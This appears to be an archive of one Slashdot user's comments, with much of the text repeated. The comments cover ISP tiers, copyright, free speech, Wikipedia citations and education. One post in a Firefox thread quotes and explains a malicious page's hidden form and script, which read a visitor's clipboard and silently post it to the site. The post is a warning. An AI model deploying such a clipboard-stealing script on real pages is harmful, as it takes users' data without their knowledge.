The difference between a dialup, cable, and T1 connection is transfer speed. I can use any one of these connections to download a gigabyte of information, but it will take much longer with dialup than a T1.
The difference between these "tiers" is transfer quantity. With a "copper tier" account, I could download 250 MB per month, and then they'd ask for more money. With a "silver tier" account, 500MB/month. With a "gold tier", 1GB/month. Price would vary accordingly.
Really, really good for the ISP's bottom line. Really sucky for absolutely everybody else.
In the long run, I suspect a "utility" model will win out. The electric company doesn't care how many toasters you have, or whether you use them with rye bread or wheat: it just measures the quantity of your usage and charges you accordingly. I sure hope so, anyway, 'cause industry has a vested interest in making our lives as expensive as possible. Bleh.
Now, they can't legally claim a new copyright on public domain material unless they've modified the material in a sufficiently creative way for it to qualify as a new "derivative" work. An MP3 doesn't qualify, because there's no creativity involved. This is a bogus claim.
However, given the Creative Commons license on the site's text, the copyright factoids they have in the sidebar, and the fact that this claim would hold up for all of five minutes in court, I'm guessing that this is just a SNAFU.
The problem with being so open minded that you want to acknowledge the potential for validity in all points of view is that you end up being completely vacuous...
Nonsense. All I contend is that we should not suppress opinions. Whether those opinions are "valid" or not is an entirely different question. I may solemnly swear that apples fell upwards until Newton came up with this gravity theory of his, but all observable evidence -- for example, collapsed walls in Roman ruins -- contradicts that opinion. Simple listening to many opinions does not mean that you can't choose from amongst them.
Does your philosophy provide any basis for forming opinions or making decisions when such are required? Surely if you applied your philosophy in full you would end up incapable of any action or holding any opinion.
On the contrary -- it is the very act of listening to opposing opinions that allows us to move on our convictions. If I give my opponents every possible opportunity to convince me that my opinions are incorrect, and they fail to do so, then I may proceed on the presumption that I'm as close to correct as I may hope to be. It's exactly like scientific theories; we do not try to prove them, we try to disprove them. If we fail to disprove them, repeatedly, then we can proceed on the presumption that they're the best available model, as long as we allow continued challenges in the hopes that someone will eventually come up with a better model, or at least a more nuanced understanding of the existing model. Exactly the same process applies to forming individual opinions on other subjects.
If, on the other hand, I suppress inane or illogical opinions, then I am assuming there's no possibility they could be even partially right; and assuming, at the same time, that there's no possibility that I could be wrong. You don't even necessarily have to listen to people repeating theories you've heard and rejected before, but it is wrong to prevent them from saying it.
... blogs and discussion boards have never, in my experience, ever changed anyone's point of view or opinion - in practice they exist to stoke (un)righteous indignation and reinforce belief in pre-existing opinions.
My experience differs from yours. I have changed my opinion on a number of occasions in response to online discussions of just this sort. In another thread in this very Slashdot discussion, one of the respondents to a post of mine put up a piece of information I had not previously been aware of. I'll admit, it did not change my basic position, but it did force me to modify my argument to account for a fact I had not known.
And even if I had not had such an experience, suppressing opinions would remove the possibility of ever having one. If you're never exposed to a contrary opinion, even the tiresome illogical or ill-informed ones, you never have the opportunity of learning from the experience.
I do not ask that you necessarily read every post in detail; all I ask is that you do not try to prevent people from making them.
Are you human? I'm going to presume the answer is "yes", though it may be an unsafe assumption.;-)
Are humans fallible? Are they capable of making mistakes? Again, I'll assume yes. Err, you're not the Pope, are you? If you are, I beg your pardon, your pontificalness.
If you are both human and fallible, how can you be certain beyond all doubt that the side that you happen to favor is correct? And if you are not certain, by what authority can you silence someone else's opinion?
Furthermore, even if the opinion you hold is true -- can you be certain that it is the whole truth? Might the opinion that you have silenced have some grain of truth that's missing from your opinion? By silencing that opinion, however false you might believe it to be, have you not denied yourself the opportunity of finding some nugget of truth in it?
Supposing that your opinion is not only true, but the whole truth, and that the suppressed opinion is completely false, have you not still lost the opportunity for sharpening your understanding of your own opinion in the process of debating whomever might hold that suppressed opinion? And even if that lost opportunity does not move you, are you not afraid that in the absence of opposition, your opinion will soon ossify, and become meaningless, an empty creed rattled off numbly day after day without any passion or conviction to animate it?
Because we are human -- because we are fallible -- because we need conflict both to hone our understanding and to fire our passions, we need every opinion to be expressed freely and fiercely. Bring the inane! Bring the illogical! Bring the offensive, and the crude! Bring also the thoughtful, and the insightful, and offtopic! It is in the mixture of all these that we forge our opinions -- and if we deny any one of them a hearing, then we have injured ourselves as much as we have injured our opponents.
The page on Earth doesn't talk about the "Is it flat?" controversy.
Thank you; I was not aware of this particular feature of Wikipedia. I'll probably make use of it in future.
However, I will not be asking my students to do so in class. For one thing, it's extremely difficult to get them to document their sources at all -- I don't need the added overhead of trying to make them cite a particular format of the Wikipedia URL (with the "oldid" argument). In the first paper I assigned this term, my students were asked to write a rhetorical analysis of certain portions of John Stuart Mill's "On Liberty". The assignment did not call for outside research, and we're all using the same edition of the text. I explicitly said to them, "When you use a quote from Mill, I need you to tell me what page the quote is on". I said it to them repeatedly. Out of 25 students, 3 did not provide any page numbers for their quotes from Mill. (Which is a serious pain, because two of those 3 people cited prolepses -- places where Mill was stating his opponent's position -- as if the prolepsis was Mill's own opinion, thereby managing to cut their own argument off at the knees. I had to go track down those quotes manually to be sure they really were prolepses, which is time-consuming and irritating.) Based on this, I strongly suspect that requiring them to use the "oldid" URL for the Wikipedia article would be way more trouble than it's worth. I'll be happy if they just provide page numbers for quotes in the final drafts of their papers, which are due tomorrow.
Not only that, but it still doesn't solve the other problems I brought up in the original post. The ability to link to particular versions of an article does not solve the lack of source information that so many Wikipedia articles suffer from. And even if every article were beautifully documented and easily citeable, they're still summaries when I want my students to consult the original sources.
You propose students do up to date research using static versions of source material? That's not really how research works in any field and it amazes me that you're actually claiming this.
I could start by pointing out that until computers came along, all sources in every field were static, and that this fact does not seem to have prevented people from doing research. But you would probably counter by pointing out that now that computers are available, we should exercise the options they give us.
So, instead, I'll begin by defining my terms. When I call a source "static", what I mean is "it says the same thing using the same words no matter how many times you read it". Using this definition, I have no hesitation about claiming that every discipline depends on static sources to this very day. Printed articles; books; articles stored in databases (of the non-wiki kind); graphs; charts; these do not change what they say in between readings. When you write an argumentative paper, and cite external sources, your readers must be able to check your external sources to be certain you're not making things up. If your readers cannot verify the accuracy of your data, because the source you cite has since been changed, then your credibility suffers immensely. It will appear that you have fabricated evidence. If your audience believes that you are lying about your sources, they are highly unlikely to find your argument persuasive. This is true in the sciences, and it is true in the humanities.
As for writing off Wikipedia as a source of information, I have not done so. My students are free to consult it. What I require is that they double check the information in the article, and if it is indeed accurate, that they cite the source they used to verify Wikipedia instead of Wikipedia itself. This does not strike me as an unreasonable requirement. If the "believe it adamant" to their research work, they should be willing to take the time to check the facts.
If, perhaps, you have a different understanding of "how research works", I invite you to share it.
I teach freshman composition at the U of Texas in Austin. My students are about to begin their second paper, which will involve a substantial research component, and Wikipedia was one of the first things I covered in discussing acceptable sources. I do not accept citations of Wikipedia articles, for two reasons:
1) The articles are not stable. They change on a regular basis. If my students cite something, I need it to be static so that I can verify their citations easily. I am well aware that Wikipedia has a robust versioning system, but that is irrelevant to my purposes. If a student cites something and I cannot immediately locate it, I simply do not have the time to sort through the recent edits to find a version of the article that matches what my student quoted. This is particularly true of popular and frequently updated articles, where there can be dozens of recent edits to sort through. There just aren't enough hours in the day for that.
2) The sources are all too frequently anonymous. Some Wikipedia articles contain excellently documented source information, it is true; but many others do not. There is no reliable way to separate solid, documentable information from personal crank theories. Sometimes they're obvious; sometimes they're not. Some will invoke the magic of "many eyeballs make shallow bugs" at this point, pointing out that errors tend to get corrected or reverted fairly rapidly. But once again, that is irrelevant. If my student cites an unfixed "bug" to support an argument, that's just as damaging to the student's paper as it would be if the bug never got fixed.
So what I tell my students is this: Wikipedia is great for fast, informal definitions of unfamiliar material, but not for formal papers submitted for credit. You can use it as a starting point for further research -- I have used it as such a starting point myself. But every piece of information from the Wikipedia article needs to be verified against a static, identifiable source before it can be used in a paper, and then you need to cite the verifying source rather than Wikipedia.
If it makes the Wikipedia people feel better, I also refuse to accept citations of the Encyclopedia Britannica -- or any encyclopedia, for that matter. Encyclopedias provide useful overviews; but I want my students to grapple with primary sources, not secondary summaries.
. . . sadly. If you search a document for "words" and the document happens to contain "swords", it'll still match. And there's no way to make it not do it. It used to do it, back in the halcyon days of yore. But now it doesn't, and it annoys me no end.
My point is that having the LiveCD functionality on the CD takes up extra space. That space could have been used for more programs. If the user wants to try out linux, the OpenCD should direct them (maybe with some links or a prompt) to an established Live CD project like Knoppix or Ubuntu...
The OpenCD has never included large amounts of programs; the first edition only had about 14, iirc. The disc only includes the absolute highest quality apps that are most likely to be useful (or interesting) to ordinary users. The disc had plenty of space left over that wasn't being used for anything anyway. Might as well use it for something.
There's an "Extended Edition" in the works, which is straight Windows software, and relaxes the requirements somewhat to include more esoteric or not-quite-so-polished software.
Lastly, the livecd on this version is the Ubuntu livecd, slightly slimmed down.
Limit computers in elementary schools
on
Improving Education?
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· Score: 3, Interesting
This will probably be anathema to most Slashdotters, but I'd suggest that we strongly limit the user of computers in primary education (K-6). Have a lab, sure, and let kids use it if they want. But computers should not be an integral part of early education, because they do not encourage the kind of thinking patterns that children should develop.
Example: at the school where my mother works (as the school librarian) they routinely teach second graders to create PowerPoint presentations. This is completely ridiculous. PowerPoint, by its very nature, encourages summary rather than analysis. It forces you to reduce your topic to three or four bullet points per slide, which makes it all too easy to summarize a few high points while remaining completely unfamiliar with the bulk of the topic at hand.
Similarly, PowerPoint (and word processors, and basically every document-oriented program) makes it easy to worry almost exclusively about formatting instead of content. A report that takes 12 hours to prepare can easily wind up including four hours of research and eight hours of tweaking the layout and putting together fancy graphics.
Lastly, computers are purely visual and auditory experiences that make hard stuff easy. Kids need to have lots of experiences that engage ALL of their sense. That includes touch, taste, and smell as well, folks. I'm thinking of things like math manipulatives, finger paints, food projects (home made root beer, maybe). In the process, they need to learn to do stuff the hard way so that they're not completely dependant on the machine. It's easy to use computers as a substitute for learning basic math skills, for example. And hey, who needs to know how to spell when you've got a word processor that puts a squiggly red line under the incorrect words, and will even fix it for you if you just click a button or two?
For these reasons, I believe we should remove computers from elementary school curricula. They're doing more harm than good at that point. Computers will play an important role in later education -- say, starting in seventh grade -- but for the very early years, they're neither necessary nor helpful.
Me: Hi, I'd like to buy a word processor for my PS3, but I'm having a hard time finding it on the shelves. Where do you keep those? Clerk: Uhh, nobody writes office software for the PS3. It's a gaming console. Me: But I want to write papers on it! Clerk: Dude, it doesn't have a keyboard. Me: But how am I going to write my papers if I can't get a word processor for it? Clerk: Use your computer. Me: I don't have one, they said that the PS3 would kill it, so I bought the PS3 instead. Clerk: I'm sorry, but you just can't do that unless you want to do something drastic to the PS3 like install a new operating system on it. Me: Could I still play all the games I bought if I did that? Clerk: No. Me: This sucks! Clerk: If you'd like, I can show you a selection of reasonably priced computers...
My point? Desktop computers have become an indispensable part of our daily lives. We use them for a TON of different stuff -- writing stuff, crunching numbers through spreadsheets, browsing the web, watching DVDs (and TV signals, if you invest in an inexpensive tuner card!), keeping track of finances. And on top of that, we can use them to play games. A gaming console lets you play games. And nothing else, unless you want to void your warranty and basically turn it into another PC by installing Linux or something, which incidentally removes its gaming capabilities. So... I could have one machine that lets me do all sorts of stuff I need to do, and ALSO play games, or I can have a machine that lets me play games, but which isn't useful for anything else, meaning I still have to buy a computer for getting actual work done.
I'll opt for the more expensive all-in-one box, thanks.
For a moment I read that story title as "Lost Cow Space Shuttle Replacement Proposed." And I was like -- wait, when did we build a cow spaceship? Was it built from cows or for cows? How'd we lose it? Is there now a cow family wandering the vast black reaches of the galaxy looking for a way home, with a cow-robot that keeps saying "Danger, Bessy Cowbinson, Danger!" . . . ? o.O
Sadly, when they're printed, they WILL be subject to copyright. The copyright will be held by the people who edit/translate them. Or, more likely, by the universities that employ those editors/translators.
"But," you'll sputter, "The authors have been dead for MILLENIA!"
And you're right. See, the thing is . . . these are in ancient languages, and don't imagine that handwriting is static either. You need years upon years of training to read this stuff. I'm a medievalist, and I frequently run into the same kind of problems. If you produce a facsimile of these things and publish that, only a few people in the world will be capable of deciphering them, probably less than 5,000 out of the 6 billion people on this planet.
So what do you do? Those 5K people (actually probably a lot fewer than that, since not everybody will have the time) will produce editions and translations.
I'm pretty sure an edition qualifies for a new copyright, but it'll depend on how much guesswork the editor had to do. Certainly the footnotes, errata, and commentary will be subject to copyright. I'm inclined to think that in this case, the text itself will probably be subject to copyright as well, because the editors will have to make decisions about the text in the process of editing it. Is that squiggle a lambda? Or some other letter? Which makes sense given the context? When you have two potential readings that can't be disambiguated based on context, which one do you put in the text, and which one in the footnote? That's creativity, qualifiying the editing itself for copyright.
That applies to editions of the original Greek/Latin/Syriac/Coptic/Whatever. Translations of the texts are quite definitely a derivative work and qualify for a new copyright.
I don't know about facsimile editions; typically, a facsimile of a public domain work does not qualify for copyright, because it's an exact replica of the page; there's no creative element there, and it's the creativity that qualifies the new work for continued copyright protection. But in this case, these documents have never been published. But I'm not certain whether an item that has never been published is in the public domain or not. It's a fine point. I think I'll email the IP lawyer for my university and ask - she's cool about arcane questions like this. Anyway, facsimile editions are not going to be useful to anyone who's not a specialist.
Re:What it really does.
on
Firefox Hacks
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· Score: 1
Hmm. It didn't occur to me to check this before I posted. D'oh! When will I learn?? But you're right, Firefox disables this by default. I stand corrected.
And you don't need a web server to check the JavaScript. Just copy the following URL into your location bar and press enter to check:
If your browser says "Leaky" in response to this code, then it means that your clipboard is vulnerable to this attack. If you get a JS error, check to see if the string above has an unexpected space in it -- Slashdot seems to be introducing random spaces into the code. o.O
Re:What it really does.
on
Firefox Hacks
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· Score: 4, Informative
I just want to say.. I have
http://flashblock.mozdev.org/ [mozdev.org]Flashblock and nothing happened. It totally stopped that site. Its a great FF extension.
You didn't get the tabs, pop-ups and the gay porn -- but the contents of your clipboard were sent, unless you've got JavaScript turned off completely. Take a look at this (comments added):
<!-- Make a form, but use inline CSS to make it invisible (display:none). --> <form name="clip" method="post" action="index.php" style="display:none"> <input type="text" name="content"> <input type="hidden" name="send" value="1"> <input type="hidden" name="referer" value=""> <input type="hidden" name="user" value=""> <input type="submit"> </form>
<script language="javascript"> if(typeof clipboardData != 'undefined') { // If we can get the clipboard, get it. var content = clipboardData.getData("Text"); // Put it into the invisible form. document.forms["clip"].elements["content"].value = content; } // Submit the invisible form. document.forms["clip"].submit(); </script>
Then it has a second body tag containing the flash object that's responsible for the visible annoying stuff. I have to wonder what random stuff they're getting out of people's clipboards . . .
Does anyone else find it surreal that Pat Niemeyer (Slashdot ID #444913) posted the original note in this thread, then disagreed with his own post in another post, and got modded up for it both times??
AMD doesn't need to release a whole new line of processors just to compete with the Celeron -- they've had the Celeron beaten for years. AMD's Duron line was consistently cheaper and faster than Celeron -- I refer you to any one of a number of tech sites. Anandtech had a good "budget processor" article comparing Durons and Celerons a while back. Tom's Hardware would do too.
More recently, AMD released the Sempron, meant to replace the Duron as its budget-level processor. Consider Anandtech's conclusion from a Sempron vs. Celeron test they did last July:
"Sempron, at a glance, surpasses its goal to be a powerful budget processor. Cheaper than the current fastest Intel Celeron, both flavors of Sempron that we tested here outperform the competition in almost every test."
In the performance market segment, Intel and AMD have been locked in battle for ages -- sometimes one is up, sometimes the other -- but if you're building a budget system, AMD offers more bang for less buck.
I'll be interested to see how this unfortunately named "Turion" chip compares to the PentiumM.
What page were you using? I typed in "C# structs" (both with and without quotes) here,
and got three suggestions, each with thousands of results. Mind you, the suggestions were "c structs", "c structs tutorial", and "c structs array", so it looks like maybe it doesn't understand the "#" character. But it did have results.
And, of course, these are suggestions. It's not like you must obey the word of Google as you would your Lord and God or anything. Lighten up.
I do not support pay distros. Fedora is free, why not Xandros?
Somebody didn't look at the downloads page, where you will find a free BitTorrent link for their "Open Circulation" edition. If you want to d/l using standard HTTP, there's a fee of a whopping ten bucks.
It's actually a pretty clever design (though probably not original). The bread is crimped around the edge so the sandwich can stay for some time without danger of leaking.
"Probably not original" is right. This is basically identical to a "pasty" (rhymes with "nasty" not "hasty"). To make a pasty, you take some dough, make a circle, put some fillings in the middle, fold it over, crimp the edges, and bake. Probably the most famous type of pasty in the English-speaking world is the Cornish pasty. There's also a Russian version called pirogi. They've also got a strong strong pasty tradition in northwest Michigan, which is where the hapless supermarket that Smuckers took on was located.
Basically, this method for creating a portable, self-contained meal has been around for centuries. Smuckers just put in a different filling. The only really original thing about the case was that they thought they could get a patent on the idea -- and that the patent office agreed!
But it's outright silly to say that without copyright, there would be no free software when it's the other way around.
Let me se if I understand:
Without copyright, there would be no free software. Which reverses to:
Without free software, there would be no copyright.
No, I don't understand at all. The first copyright law was the Statute of Anne, passed by the British Parliament in 1710. Software, per se, didn't really get going till the mid-20th century (ENIAC was finished in 1945). So copyright pre-dates software (free or otherwise) by about 235 years.
Are you trying to say that if there was no copyright, then all software would be free? If so, I disagree. If software was not covered by copyright, then it would be public domain material. There would be no legal basis for asking people to share their innovations back to the community. You could take code, modify it, improve it, and then sell binary versions without releasing your improvements. You wouldn't be required to acknowledge the original author, and you could put the code into commercial projects whether the original author liked it or not. In short, none of the provisions that you find in existing free or open source licenses would be the least bit enforceable. The free/open source movements need copyrightable software - without it, we would have to rely entirely on people's goodwill and charitable impulses, which is a much more dubious proposition, especially where software intersects business.
Slashdot Mirror
Sure, we have fair use. For anyone who can afford to pay for a lawyer to defend their fair use claims when they get hit with a lawsuit.
So your choices are: 1) Pay a lawyer to get formal copyright permission; or 2) pay a lawyer to defend you when the copyright holder files suit.
Great.
The difference between a dialup, cable, and T1 connection is transfer speed. I can use any one of these connections to download a gigabyte of information, but it will take much longer with dialup than a T1.
The difference between these "tiers" is transfer quantity. With a "copper tier" account, I could download 250 MB per month, and then they'd ask for more money. With a "silver tier" account, 500MB/month. With a "gold tier", 1GB/month. Price would vary accordingly.
Really, really good for the ISP's bottom line. Really sucky for absolutely everybody else.
In the long run, I suspect a "utility" model will win out. The electric company doesn't care how many toasters you have, or whether you use them with rye bread or wheat: it just measures the quantity of your usage and charges you accordingly. I sure hope so, anyway, 'cause industry has a vested interest in making our lives as expensive as possible. Bleh.
Get this -- if you download one of those files and view its ID3v2 info, the "copyright" field says "© 2004 Regents of the University of California".
...
Now, they can't legally claim a new copyright on public domain material unless they've modified the material in a sufficiently creative way for it to qualify as a new "derivative" work. An MP3 doesn't qualify, because there's no creativity involved. This is a bogus claim.
However, given the Creative Commons license on the site's text, the copyright factoids they have in the sidebar, and the fact that this claim would hold up for all of five minutes in court, I'm guessing that this is just a SNAFU.
Nonsense. All I contend is that we should not suppress opinions. Whether those opinions are "valid" or not is an entirely different question. I may solemnly swear that apples fell upwards until Newton came up with this gravity theory of his, but all observable evidence -- for example, collapsed walls in Roman ruins -- contradicts that opinion. Simple listening to many opinions does not mean that you can't choose from amongst them.
On the contrary -- it is the very act of listening to opposing opinions that allows us to move on our convictions. If I give my opponents every possible opportunity to convince me that my opinions are incorrect, and they fail to do so, then I may proceed on the presumption that I'm as close to correct as I may hope to be. It's exactly like scientific theories; we do not try to prove them, we try to disprove them. If we fail to disprove them, repeatedly, then we can proceed on the presumption that they're the best available model, as long as we allow continued challenges in the hopes that someone will eventually come up with a better model, or at least a more nuanced understanding of the existing model. Exactly the same process applies to forming individual opinions on other subjects.
If, on the other hand, I suppress inane or illogical opinions, then I am assuming there's no possibility they could be even partially right; and assuming, at the same time, that there's no possibility that I could be wrong. You don't even necessarily have to listen to people repeating theories you've heard and rejected before, but it is wrong to prevent them from saying it.
My experience differs from yours. I have changed my opinion on a number of occasions in response to online discussions of just this sort. In another thread in this very Slashdot discussion, one of the respondents to a post of mine put up a piece of information I had not previously been aware of. I'll admit, it did not change my basic position, but it did force me to modify my argument to account for a fact I had not known.
And even if I had not had such an experience, suppressing opinions would remove the possibility of ever having one. If you're never exposed to a contrary opinion, even the tiresome illogical or ill-informed ones, you never have the opportunity of learning from the experience.
I do not ask that you necessarily read every post in detail; all I ask is that you do not try to prevent people from making them.
This is fun. ^_^
Let me ask a series of questions.
Are you human? I'm going to presume the answer is "yes", though it may be an unsafe assumption. ;-)
Are humans fallible? Are they capable of making mistakes? Again, I'll assume yes. Err, you're not the Pope, are you? If you are, I beg your pardon, your pontificalness.
If you are both human and fallible, how can you be certain beyond all doubt that the side that you happen to favor is correct? And if you are not certain, by what authority can you silence someone else's opinion?
Furthermore, even if the opinion you hold is true -- can you be certain that it is the whole truth? Might the opinion that you have silenced have some grain of truth that's missing from your opinion? By silencing that opinion, however false you might believe it to be, have you not denied yourself the opportunity of finding some nugget of truth in it?
Supposing that your opinion is not only true, but the whole truth, and that the suppressed opinion is completely false, have you not still lost the opportunity for sharpening your understanding of your own opinion in the process of debating whomever might hold that suppressed opinion? And even if that lost opportunity does not move you, are you not afraid that in the absence of opposition, your opinion will soon ossify, and become meaningless, an empty creed rattled off numbly day after day without any passion or conviction to animate it?
Because we are human -- because we are fallible -- because we need conflict both to hone our understanding and to fire our passions, we need every opinion to be expressed freely and fiercely. Bring the inane! Bring the illogical! Bring the offensive, and the crude! Bring also the thoughtful, and the insightful, and offtopic! It is in the mixture of all these that we forge our opinions -- and if we deny any one of them a hearing, then we have injured ourselves as much as we have injured our opponents.
*coughyesitdoescough*
Thank you; I was not aware of this particular feature of Wikipedia. I'll probably make use of it in future.
However, I will not be asking my students to do so in class. For one thing, it's extremely difficult to get them to document their sources at all -- I don't need the added overhead of trying to make them cite a particular format of the Wikipedia URL (with the "oldid" argument). In the first paper I assigned this term, my students were asked to write a rhetorical analysis of certain portions of John Stuart Mill's "On Liberty". The assignment did not call for outside research, and we're all using the same edition of the text. I explicitly said to them, "When you use a quote from Mill, I need you to tell me what page the quote is on". I said it to them repeatedly. Out of 25 students, 3 did not provide any page numbers for their quotes from Mill. (Which is a serious pain, because two of those 3 people cited prolepses -- places where Mill was stating his opponent's position -- as if the prolepsis was Mill's own opinion, thereby managing to cut their own argument off at the knees. I had to go track down those quotes manually to be sure they really were prolepses, which is time-consuming and irritating.) Based on this, I strongly suspect that requiring them to use the "oldid" URL for the Wikipedia article would be way more trouble than it's worth. I'll be happy if they just provide page numbers for quotes in the final drafts of their papers, which are due tomorrow.
Not only that, but it still doesn't solve the other problems I brought up in the original post. The ability to link to particular versions of an article does not solve the lack of source information that so many Wikipedia articles suffer from. And even if every article were beautifully documented and easily citeable, they're still summaries when I want my students to consult the original sources.
Thanks, though.
I could start by pointing out that until computers came along, all sources in every field were static, and that this fact does not seem to have prevented people from doing research. But you would probably counter by pointing out that now that computers are available, we should exercise the options they give us.
So, instead, I'll begin by defining my terms. When I call a source "static", what I mean is "it says the same thing using the same words no matter how many times you read it". Using this definition, I have no hesitation about claiming that every discipline depends on static sources to this very day. Printed articles; books; articles stored in databases (of the non-wiki kind); graphs; charts; these do not change what they say in between readings. When you write an argumentative paper, and cite external sources, your readers must be able to check your external sources to be certain you're not making things up. If your readers cannot verify the accuracy of your data, because the source you cite has since been changed, then your credibility suffers immensely. It will appear that you have fabricated evidence. If your audience believes that you are lying about your sources, they are highly unlikely to find your argument persuasive. This is true in the sciences, and it is true in the humanities.
As for writing off Wikipedia as a source of information, I have not done so. My students are free to consult it. What I require is that they double check the information in the article, and if it is indeed accurate, that they cite the source they used to verify Wikipedia instead of Wikipedia itself. This does not strike me as an unreasonable requirement. If the "believe it adamant" to their research work, they should be willing to take the time to check the facts.
If, perhaps, you have a different understanding of "how research works", I invite you to share it.
I teach freshman composition at the U of Texas in Austin. My students are about to begin their second paper, which will involve a substantial research component, and Wikipedia was one of the first things I covered in discussing acceptable sources. I do not accept citations of Wikipedia articles, for two reasons:
1) The articles are not stable. They change on a regular basis. If my students cite something, I need it to be static so that I can verify their citations easily. I am well aware that Wikipedia has a robust versioning system, but that is irrelevant to my purposes. If a student cites something and I cannot immediately locate it, I simply do not have the time to sort through the recent edits to find a version of the article that matches what my student quoted. This is particularly true of popular and frequently updated articles, where there can be dozens of recent edits to sort through. There just aren't enough hours in the day for that.
2) The sources are all too frequently anonymous. Some Wikipedia articles contain excellently documented source information, it is true; but many others do not. There is no reliable way to separate solid, documentable information from personal crank theories. Sometimes they're obvious; sometimes they're not. Some will invoke the magic of "many eyeballs make shallow bugs" at this point, pointing out that errors tend to get corrected or reverted fairly rapidly. But once again, that is irrelevant. If my student cites an unfixed "bug" to support an argument, that's just as damaging to the student's paper as it would be if the bug never got fixed.
So what I tell my students is this: Wikipedia is great for fast, informal definitions of unfamiliar material, but not for formal papers submitted for credit. You can use it as a starting point for further research -- I have used it as such a starting point myself. But every piece of information from the Wikipedia article needs to be verified against a static, identifiable source before it can be used in a paper, and then you need to cite the verifying source rather than Wikipedia.
If it makes the Wikipedia people feel better, I also refuse to accept citations of the Encyclopedia Britannica -- or any encyclopedia, for that matter. Encyclopedias provide useful overviews; but I want my students to grapple with primary sources, not secondary summaries.
. . . sadly. If you search a document for "words" and the document happens to contain "swords", it'll still match. And there's no way to make it not do it. It used to do it, back in the halcyon days of yore. But now it doesn't, and it annoys me no end.
1 ... which you can't link to from Slashdot, because bugzilla disallows slashdot referrers, so copy that link and paste.
The relevant bug appears to be this one:
https://bugzilla.mozilla.org/show_bug.cgi?id=1487
The OpenCD has never included large amounts of programs; the first edition only had about 14, iirc. The disc only includes the absolute highest quality apps that are most likely to be useful (or interesting) to ordinary users. The disc had plenty of space left over that wasn't being used for anything anyway. Might as well use it for something.
There's an "Extended Edition" in the works, which is straight Windows software, and relaxes the requirements somewhat to include more esoteric or not-quite-so-polished software.
Lastly, the livecd on this version is the Ubuntu livecd, slightly slimmed down.
This will probably be anathema to most Slashdotters, but I'd suggest that we strongly limit the user of computers in primary education (K-6). Have a lab, sure, and let kids use it if they want. But computers should not be an integral part of early education, because they do not encourage the kind of thinking patterns that children should develop.
Example: at the school where my mother works (as the school librarian) they routinely teach second graders to create PowerPoint presentations. This is completely ridiculous. PowerPoint, by its very nature, encourages summary rather than analysis. It forces you to reduce your topic to three or four bullet points per slide, which makes it all too easy to summarize a few high points while remaining completely unfamiliar with the bulk of the topic at hand.
Similarly, PowerPoint (and word processors, and basically every document-oriented program) makes it easy to worry almost exclusively about formatting instead of content. A report that takes 12 hours to prepare can easily wind up including four hours of research and eight hours of tweaking the layout and putting together fancy graphics.
Lastly, computers are purely visual and auditory experiences that make hard stuff easy. Kids need to have lots of experiences that engage ALL of their sense. That includes touch, taste, and smell as well, folks. I'm thinking of things like math manipulatives, finger paints, food projects (home made root beer, maybe). In the process, they need to learn to do stuff the hard way so that they're not completely dependant on the machine. It's easy to use computers as a substitute for learning basic math skills, for example. And hey, who needs to know how to spell when you've got a word processor that puts a squiggly red line under the incorrect words, and will even fix it for you if you just click a button or two?
For these reasons, I believe we should remove computers from elementary school curricula. They're doing more harm than good at that point. Computers will play an important role in later education -- say, starting in seventh grade -- but for the very early years, they're neither necessary nor helpful.
Because in our republic, Palpatine ran for vice president with a handy sock puppet as his running mate.
Me: Hi, I'd like to buy a word processor for my PS3, but I'm having a hard time finding it on the shelves. Where do you keep those? ...
... I could have one machine that lets me do all sorts of stuff I need to do, and ALSO play games, or I can have a machine that lets me play games, but which isn't useful for anything else, meaning I still have to buy a computer for getting actual work done.
Clerk: Uhh, nobody writes office software for the PS3. It's a gaming console.
Me: But I want to write papers on it!
Clerk: Dude, it doesn't have a keyboard.
Me: But how am I going to write my papers if I can't get a word processor for it?
Clerk: Use your computer.
Me: I don't have one, they said that the PS3 would kill it, so I bought the PS3 instead.
Clerk: I'm sorry, but you just can't do that unless you want to do something drastic to the PS3 like install a new operating system on it.
Me: Could I still play all the games I bought if I did that?
Clerk: No.
Me: This sucks!
Clerk: If you'd like, I can show you a selection of reasonably priced computers
My point? Desktop computers have become an indispensable part of our daily lives. We use them for a TON of different stuff -- writing stuff, crunching numbers through spreadsheets, browsing the web, watching DVDs (and TV signals, if you invest in an inexpensive tuner card!), keeping track of finances. And on top of that, we can use them to play games. A gaming console lets you play games. And nothing else, unless you want to void your warranty and basically turn it into another PC by installing Linux or something, which incidentally removes its gaming capabilities. So
I'll opt for the more expensive all-in-one box, thanks.
Yes; it's called "sleep." I'd been awake for roughly eighteen hours when that happened. I appreciate the impulse, though.
For a moment I read that story title as "Lost Cow Space Shuttle Replacement Proposed." And I was like -- wait, when did we build a cow spaceship? Was it built from cows or for cows? How'd we lose it? Is there now a cow family wandering the vast black reaches of the galaxy looking for a way home, with a cow-robot that keeps saying "Danger, Bessy Cowbinson, Danger!" . . . ? o.O
Sadly, when they're printed, they WILL be subject to copyright. The copyright will be held by the people who edit/translate them. Or, more likely, by the universities that employ those editors/translators.
"But," you'll sputter, "The authors have been dead for MILLENIA!"
And you're right. See, the thing is . . . these are in ancient languages, and don't imagine that handwriting is static either. You need years upon years of training to read this stuff. I'm a medievalist, and I frequently run into the same kind of problems. If you produce a facsimile of these things and publish that, only a few people in the world will be capable of deciphering them, probably less than 5,000 out of the 6 billion people on this planet.
So what do you do? Those 5K people (actually probably a lot fewer than that, since not everybody will have the time) will produce editions and translations.
I'm pretty sure an edition qualifies for a new copyright, but it'll depend on how much guesswork the editor had to do. Certainly the footnotes, errata, and commentary will be subject to copyright. I'm inclined to think that in this case, the text itself will probably be subject to copyright as well, because the editors will have to make decisions about the text in the process of editing it. Is that squiggle a lambda? Or some other letter? Which makes sense given the context? When you have two potential readings that can't be disambiguated based on context, which one do you put in the text, and which one in the footnote? That's creativity, qualifiying the editing itself for copyright.
That applies to editions of the original Greek/Latin/Syriac/Coptic/Whatever. Translations of the texts are quite definitely a derivative work and qualify for a new copyright.
I don't know about facsimile editions; typically, a facsimile of a public domain work does not qualify for copyright, because it's an exact replica of the page; there's no creative element there, and it's the creativity that qualifies the new work for continued copyright protection. But in this case, these documents have never been published. But I'm not certain whether an item that has never been published is in the public domain or not. It's a fine point. I think I'll email the IP lawyer for my university and ask - she's cool about arcane questions like this. Anyway, facsimile editions are not going to be useful to anyone who's not a specialist.
Hmm. It didn't occur to me to check this before I posted. D'oh! When will I learn?? But you're right, Firefox disables this by default. I stand corrected.
And you don't need a web server to check the JavaScript. Just copy the following URL into your location bar and press enter to check:
If your browser says "Leaky" in response to this code, then it means that your clipboard is vulnerable to this attack. If you get a JS error, check to see if the string above has an unexpected space in it -- Slashdot seems to be introducing random spaces into the code. o.O
